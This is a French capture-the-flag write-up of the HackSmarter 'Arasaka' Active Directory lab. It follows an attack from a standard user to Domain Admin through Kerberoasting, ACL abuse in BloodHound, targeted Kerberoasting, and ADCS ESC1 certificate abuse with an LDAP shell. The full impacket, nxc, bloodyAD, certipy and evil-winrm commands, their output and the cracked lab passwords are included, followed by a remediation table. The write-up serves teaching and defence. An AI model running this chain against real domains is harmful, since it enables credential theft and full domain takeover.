Lab Arasaka : Kerberoasting, Targeted Kerberoasting et ESC1 via LDAP Shell vers l'Administrateur du Domaine
Pentest Active Directory en scénario assumed breach avec un compte utilisateur standard : Kerberoasting classique pour un premier pivot, cartographie BloodHound d'une chaîne d'ACL GenericAll puis GenericWrite, exploitation d'un Targeted Kerberoasting pour compromettre un compte lié aux certificats, puis élévation à l'Administrateur du domaine via une vulnérabilité ESC1 dont l'authentification Kerberos échoue à cause d'un mot de passe expiré, contournée avec un LDAP Shell authentifié par certificat.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au lab |
| Cible | DC01.hacksmarter.local, 10.1.10.116 |
| OS | Windows Server 2022 (Build 20348) |
| Domaine | hacksmarter.local |
| Difficulté | Facile |
Scénario : en tant que membre de la Hack Smarter Red Team, ce test d'intrusion démarre en scénario assumed breach avec des credentials valides pour un utilisateur de domaine standard, faraday. L'objectif est de simuler une attaque réaliste, d'identifier et d'exploiter les vulnérabilités permettant d'élever les privilèges d'un simple utilisateur jusqu'à Administrateur du Domaine.
Kill chain :
Reconnaissance (RustScan & BloodHound) → DC Windows Server 2022 (hacksmarter.local / DC01), CA interne identifiée
│
▼
faraday : ldapsearch et SMB → rien d'exploitable, ASREPRoast sur la liste des 15 users échoue
│
▼
Kerberoasting initial sur alt.svc → hash cracké → babygirl1
│
▼
Escalade via ACLs BloodHound/bloodyAD → GenericAll sur Yorinobu, reset Yorinobu, GenericWrite sur Soulkiller.svc
│
▼
Targeted Kerberoasting sur Soulkiller.svc → hash cracké → MYpassword123#
│
▼
Audit AD CS avec certipy-ad find → ESC1 vulnérable détecté sur Soulkiller.svc
│
▼
Exploitation ESC1 & prise de contrôle totale → certificat Administrator, LDAP-shell auth, reset Admin, Evil-WinRM root
1. Reconnaissance
rustscan -b 500 -a 10.1.10.116 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-08-07 06:10:50Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.hacksmarter.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hacksmarter.local
| Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HACKSMARTER
| NetBIOS_Domain_Name: HACKSMARTER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hacksmarter.local
| DNS_Computer_Name: DC01.hacksmarter.local
| Product_Version: 10.0.20348
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
51980/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
51981/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
51993/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
52007/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
52026/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
63428/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Analyse :
Nous sommes sur une machine Windows contrôleur de domaine avec des services tels que DNS, RDP, Kerberos, LDAP, WinRM et SMB. Le nom d'hôte est DC01 et le nom de domaine hacksmarter.local. Comme dans le lab Welcome, le certificat SSL présenté sur LDAPS révèle immédiatement la présence d'une CA interne : l'émetteur est hacksmarter-DC01-CA, confirmant qu'ADCS est déployé sur ce domaine. Cette information va se révéler décisive plus loin dans la chaîne d'attaque.
2. Énumération Initiale avec les Credentials Fournis
Le scénario démarre directement avec des credentials (faraday:hacksmarter123), inutile donc de tester les sessions anonyme et invité.
ldapsearch -x -H ldap://hacksmarter.local -D "faraday" -w 'hacksmarter123' \
-b "DC=hacksmarter,DC=local" "(sAMAccountName=faraday)"
faraday est un utilisateur assez simple de l'organisation. Une énumération sur les partages et les utilisateurs est menée afin de trouver des informations permettant de pivoter vers un autre compte.

Exploration des Partages
nxc smb hacksmarter.local -u 'faraday' -p 'hacksmarter123' --shares --smb-timeout 30
SMB 10.1.10.116 445 DC01 [+] hacksmarter.local\faraday:hacksmarter123
SMB 10.1.10.116 445 DC01 Share Permissions Remark
SMB 10.1.10.116 445 DC01 ADMIN$ Remote Admin
SMB 10.1.10.116 445 DC01 C$ Default share
SMB 10.1.10.116 445 DC01 IPC$ READ Remote IPC
SMB 10.1.10.116 445 DC01 NETLOGON READ Logon server share
SMB 10.1.10.116 445 DC01 SYSVOL READ Logon server share
Aucun partage particulier, et après exploration des partages par défaut, aucune information pertinente. On passe aux utilisateurs.
Les Utilisateurs
nxc smb hacksmarter.local -u 'faraday' -p 'hacksmarter123' --users --smb-timeout 30
SMB 10.1.10.116 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.1.10.116 445 DC01 Administrator 2025-09-18 22:40:20 0 Built-in account for administering the computer/domain
SMB 10.1.10.116 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.1.10.116 445 DC01 krbtgt 2025-09-21 02:51:44 0 Key Distribution Center Service Account
SMB 10.1.10.116 445 DC01 Goro 2025-09-21 15:00:31 0 Loyal to a fault
SMB 10.1.10.116 445 DC01 alt.svc 2025-09-21 15:07:42 0 Trapped for eternity
SMB 10.1.10.116 445 DC01 Yorinobu 2025-09-21 15:12:44 0
SMB 10.1.10.116 445 DC01 Hanako 2025-09-21 14:59:03 0 Waiting at embers
SMB 10.1.10.116 445 DC01 Faraday 2025-09-21 15:06:45 0
SMB 10.1.10.116 445 DC01 Smasher 2025-09-21 15:01:20 0
SMB 10.1.10.116 445 DC01 Soulkiller.svc 2025-09-21 15:30:13 0 Certificate managment for soulkiller AI
SMB 10.1.10.116 445 DC01 Hellman 2025-09-21 15:04:19 0
SMB 10.1.10.116 445 DC01 kei.svc 2025-09-21 15:05:16 0 Trapped for eternity
SMB 10.1.10.116 445 DC01 Silverhand.svc 2025-09-21 15:03:10 0 Trapped for eternity
SMB 10.1.10.116 445 DC01 Oda 2025-09-21 15:02:14 0
SMB 10.1.10.116 445 DC01 the_emperor 2025-11-06 17:19:03 0
SMB 10.1.10.116 445 DC01 [*] Enumerated 15 local users: HACKSMARTER
Un compte se distingue immédiatement par sa description : Soulkiller.svc, responsable de la gestion des certificats. C'est une piste à privilégier, cohérente avec la CA hacksmarter-DC01-CA déjà repérée. On peut essayer de l'ASREProast ou de le Kerberoaster directement.
ASREPRoast
Avec la liste de comptes collectée, nous pouvons tenter d'en extraire des hashes ASREPRoast.
impacket-GetNPUsers hacksmarter.local/ -usersfile users.txt -dc-ip 10.1.10.116 \
-format hashcat -request -outputfile ASREProastables.txt
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Goro doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alt.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Yorinobu doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Hanako doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Faraday doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Smasher doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Soulkiller.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Hellman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User kei.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Silverhand.svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Oda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User the_emperor doesn't have UF_DONT_REQUIRE_PREAUTH set
L'ASREPRoast n'a rien donné.
3. Kerberoasting Classique : Compromission de alt.svc
En tant que faraday, nous procédons à un Kerberoasting classique afin d'essayer de compromettre un autre compte.
impacket-GetUserSPNs hacksmarter.local/faraday:'hacksmarter123' -dc-ip 10.1.10.116 \
-request -outputfile kerberoastables.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------ ------- -------- -------------------------- --------- ----------
AI/blackwall.hacksmarter.local alt.svc 2025-09-21 17:07:42.894050 <never>
[-] CCache file is not found. Skipping...
Le résultat révèle le compte alt.svc, porteur du SPN AI/blackwall.hacksmarter.local. On tente de casser le hash récupéré :
hashcat -m 13100 -a 0 kerberoastables.txt /usr/share/wordlists/rockyou.txt

alt.svc : babygirl1
On teste les credentials obtenus:
nxc smb hacksmarter.local -u 'alt.svc' -p 'babygirl1' --smb-timeout 30
SMB 10.1.10.116 445 DC01 [+] hacksmarter.local\alt.svc:babygirl1
Les credentials sont valides.
4. Énumération de alt.svc
Après avoir obtenu les credentials du compte alt.svc, nous allons procéder à une énumération de ce dernier.
ldapsearch -x -H ldap://hacksmarter.local -D "faraday" -w 'hacksmarter123' \
-b "DC=hacksmarter,DC=local" "(sAMAccountName=alt.svc)"

Rien de vraiment exploitable en surface sur ce compte. On passe sur BloodHound pour une cartographie plus large des droits du domaine.
5. Cartographie BloodHound
Pour une vue d'ensemble des droits du domaine, nous allons procéder à une cartographie BloodHound.
Collecte
nxc ldap DC01.hacksmarter.local -u 'alt.svc' -p 'babygirl1' -d hacksmarter.local \
--bloodhound --collection All --dns-server 10.1.10.116
LDAP 10.1.10.116 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) (signing:None) (channel binding:Never)
LDAP 10.1.10.116 389 DC01 [+] hacksmarter.local\alt.svc:babygirl1
LDAP 10.1.10.116 389 DC01 Resolved collection methods: group, psremote, objectprops, rdp, localadmin, trusts, session, container, acl, dcom
LDAP 10.1.10.116 389 DC01 Done in 0M 35S
LDAP 10.1.10.116 389 DC01 Compressing output into /home/zcook/.nxc/logs/DC01_10.1.10.116_2026-08-07_084613_bloodhound.zip
Le flag --collection All demande la collecte de l'ensemble des méthodes disponibles (groupes, sessions actives, membres admin locaux, ACL, relations de confiance, etc.), résolues ici en dix catégories distinctes, la plus importante pour la suite étant acl.
Exploration
Le domaine compte deux comptes administrateurs : le compte builtin Administrator et le compte the_emperor.

Depuis alt.svc, un chemin exploitable apparaît :
alt.svc ──(GenericAll)──▶ Yorinobu ∈ Remote Management ──(GenericWrite)──▶ Soulkiller.svc

- alt.svc dispose d'un droit GenericAll sur Yorinobu.
- Yorinobu est membre du groupe Remote Management et possède un droit GenericWrite sur Soulkiller.svc.
L'explication de ce chemin consistera à :
- Réinitialiser le mot de passe de Yorinobu en exploitant le droit GenericAll de alt.svc.
- Rendre Soulkiller.svc Kerberoastable en modifiant ses attributs via le droit GenericWrite de Yorinobu.
6. Compromission de Yorinobu
Grâce au droit GenericAll de alt.svc sur Yorinobu, nous allons procéder à une réinitialisation du mot de passe de ce dernier.
bloodyad -d hacksmarter.local -u alt.svc -p 'babygirl1' --host 10.1.10.116 \
set password Yorinobu babygirl1
[+] Password changed successfully!
Nous profitons de nos nouveaux droits pour nous connecter en tant que Yorinobu:
evil-winrm -u Yorinobu -i 10.1.10.116 -p babygirl1

Connexion fortuite qui n'a rien donné de plus : aucune information exploitable supplémentaire sur ce compte au-delà du droit GenericWrite déjà identifié via BloodHound.
7. Targeted Kerberoasting : Compromission de Soulkiller.svc
Référence : What is Targeted Kerberoasting - Trustmarque
Comprendre le Targeted Kerberoasting
Le Kerberoasting classique se limite aux comptes qui possèdent déjà un SPN configuré. Si le compte visé (par exemple un compte à privilèges élevés comme Soulkiller.svc) n'a aucun SPN, il est impossible de lui demander un TGS. Le Targeted Kerberoasting contourne cette limite lorsque l'attaquant contrôle un compte disposant d'un droit d'écriture sur le compte cible, ici GenericWrite.
Le principe :
- Injection du SPN : l'attaquant injecte un SPN factice (par exemple
myfakeservice/domain.local) dans l'attributservicePrincipalNamedu compte cible, en s'appuyant sur son droit d'écriture. - Demande de TGS : le compte cible ayant désormais un SPN, n'importe quel utilisateur authentifié du domaine peut demander un ticket de service (TGS) pour lui auprès du KDC, exactement comme pour un Kerberoasting classique.
- Extraction et cassage : le TGS récupéré est chiffré avec le hash du compte cible, et peut être cassé hors ligne avec hashcat ou John.
- Nettoyage (OpSec) : en conditions réelles, l'attaquant retire le SPN temporaire injecté à l'étape 1 pour limiter les traces de modification. Dans le cadre de ce lab, cette étape n'est pas nécessaire.
Exploitation
targetedKerberoast -v -d hacksmarter.local -u 'Yorinobu' -p 'babygirl1'
L'outil injecte automatiquement le SPN factice sur les comptes accessibles en écriture depuis Yorinobu, ici Soulkiller.svc, puis demande directement le TGS correspondant.

On sauvegarde le résultat de l'extraction dans un fichier pour pouvoir le cracker hors ligne.
hashcat -m 13100 -a 0 targetedker.txt /usr/share/wordlists/rockyou.txt

Soulkiller.svc : MYpassword123#
Et comme sa description l'indiquait, ce compte a un lien direct avec le groupe des certificats.

On vérifie donc directement les certificats.
8. Abus de Certificat : ESC1
Identification des certificats vulnérables
certipy-ad find -u 'Soulkiller.svc' -p 'MYpassword123#' -dc-ip 10.1.10.116 \
-target-ip 10.1.10.116 -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA'
[*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local'
[!] Error checking web enrollment: timed out
[*] Saving text output to '20260807095348_Certipy.txt'
[*] Wrote text output to '20260807095348_Certipy.txt'
[*] Saving JSON output to '20260807095348_Certipy.json'
[*] Wrote JSON output to '20260807095348_Certipy.json'
Le résultat pointe une vulnérabilité ESC1.

Exploitation ESC1
Étape 1 : Soumission de la requête de certificat au nom de l'Administrateur :
certipy-ad req -u 'Soulkiller.svc' -p 'MYpassword123#' -ca hacksmarter-DC01-CA \
-template AI_Takeover -target-ip 10.1.10.116 -upn 'Administrator@hacksmarter.local'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@hacksmarter.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Le certificat est émis sans vérification du SAN soumis.
Étape 2 : Authentification Kerberos avec ce certificat :
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.10.116

L'authentification échoue avec l'erreur KDC_ERR_KEY_EXPIRED. Ce code d'erreur Kerberos signifie que le mot de passe (ou la clé) du compte visé a expiré côté annuaire, ou que le compte est configuré pour forcer un changement de mot de passe à la prochaine connexion. Le certificat est valide et prouve bien l'identité d'Administrator, mais le KDC refuse d'émettre un TGT utilisable tant que cette condition n'est pas levée.
9. Contournement via LDAP Shell
Le certificat prouve la possession cryptographique de l'identité d'Administrator, indépendamment du fait que le TGT Kerberos classique soit utilisable. Certipy propose une option -ldap-shell qui, au lieu de passer par Kerberos, utilise ce même certificat pour s'authentifier directement sur LDAP via Schannel (authentification TLS par certificat client). Ce canal d'authentification est entièrement distinct de Kerberos et n'est pas affecté par l'expiration du mot de passe du compte : il permet d'ouvrir une session LDAP authentifiée en tant qu'Administrator, avec un shell interactif proposant des opérations LDAP directes, dont la réinitialisation du mot de passe du compte lui-même.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.10.116 -ldap-shell

Depuis ce shell LDAP authentifié en tant qu'Administrator, le mot de passe du compte est réinitialisé.
Validation
nxc smb hacksmarter.local -u 'Administrator' -p 'NewPass123!' --shares --smb-timeout 30
SMB 10.1.10.116 445 DC01 [+] hacksmarter.local\Administrator:NewPass123! (Pwn3d!)
SMB 10.1.10.116 445 DC01 Share Permissions Remark
SMB 10.1.10.116 445 DC01 ADMIN$ READ,WRITE Remote Admin
SMB 10.1.10.116 445 DC01 C$ READ,WRITE Default share
SMB 10.1.10.116 445 DC01 IPC$ READ Remote IPC
SMB 10.1.10.116 445 DC01 NETLOGON READ,WRITE Logon server share
SMB 10.1.10.116 445 DC01 SYSVOL READ,WRITE Logon server share
Le tag (Pwn3d!) confirme l'accès administrateur complet sur le domaine.
Administrator : NewPass123!
10. Flag Root
evil-winrm -u Administrator -i 10.1.10.116 -p 'NewPass123!'

Compromission totale du domaine.
11. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → DC01.hacksmarter.local, ADCS détecté via cert SSL (hacksmarter-DC01-CA)
2. Faraday → aucun partage/info exploitable, 15 users énumérés
3. ASREPRoast → rien
4. Kerberoasting classique → alt.svc → babygirl1
5. BloodHound → alt.svc → GenericAll Yorinobu → GenericWrite Soulkiller.svc
6. Compromission Yorinobu → reset mdp via GenericAll, accès WinRM sans intérêt direct
7. Targeted Kerberoasting → Soulkiller.svc → MYpassword123#
8. Exploitation ADCS ESC1 → template AI_Takeover vulnérable ESC1
9. ESC1 (PKINIT) → échoue, KDC_ERR_KEY_EXPIRED (mdp Administrator expiré)
10. certipy-ad -ldap-shell → reset mdp Administrator via authentification certificat sur LDAP
11. Evil-WinRM (Administrator)→ Flag root
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Kerberoasting sur alt.svc | Compte de service porteur d'un SPN avec un mot de passe faible cassable via rockyou.txt | Utiliser des gMSA avec rotation automatique pour tout compte de service porteur de SPN |
| GenericAll délégué (alt.svc → Yorinobu) | Un compte de service dispose d'un contrôle total sur un compte utilisateur sans lien fonctionnel | Restreindre les délégations ACL au strict nécessaire fonctionnel, auditer régulièrement les droits GenericAll/GenericWrite avec BloodHound |
| GenericWrite délégué (Yorinobu → Soulkiller.svc) | Un droit d'écriture ouvre la porte au Targeted Kerberoasting sur un compte lié aux certificats | Retirer les délégations GenericWrite non justifiées, surveiller les modifications de l'attribut servicePrincipalName via l'Event ID 5136 |
Template ESC1 (AI_Takeover) | Enrollment excessif + SAN fourni par le demandeur + authentification + pas d'approbation manager | Retirer ENROLLEE_SUPPLIES_SUBJECT, restreindre les droits d'enrollment, exiger l'approbation manager sur les templates permettant l'authentification |
| Réinitialisation de mot de passe via LDAP Shell certifié | Un certificat valide permet de contourner un blocage Kerberos (mdp expiré) via un canal d'authentification alternatif (Schannel/LDAP) | Restreindre les droits d'écriture sur l'attribut unicodePwd même pour les identités authentifiées par certificat, monitorer les binds LDAP via Schannel |
[!NOTE] Ce lab illustre un point souvent négligé en environnement ADCS : une contre-mesure partielle (ici, un mot de passe Administrator expiré qui bloque l'obtention normale d'un TGT via PKINIT) ne suffit pas à elle seule à arrêter un attaquant disposant déjà d'un certificat valide. Le certificat reste une preuve d'identité utilisable sur d'autres canaux d'authentification, comme LDAP via Schannel, tant que les droits associés à cette identité ne sont pas eux-mêmes révoqués ou restreints.
Writeup rédigé par Zcook
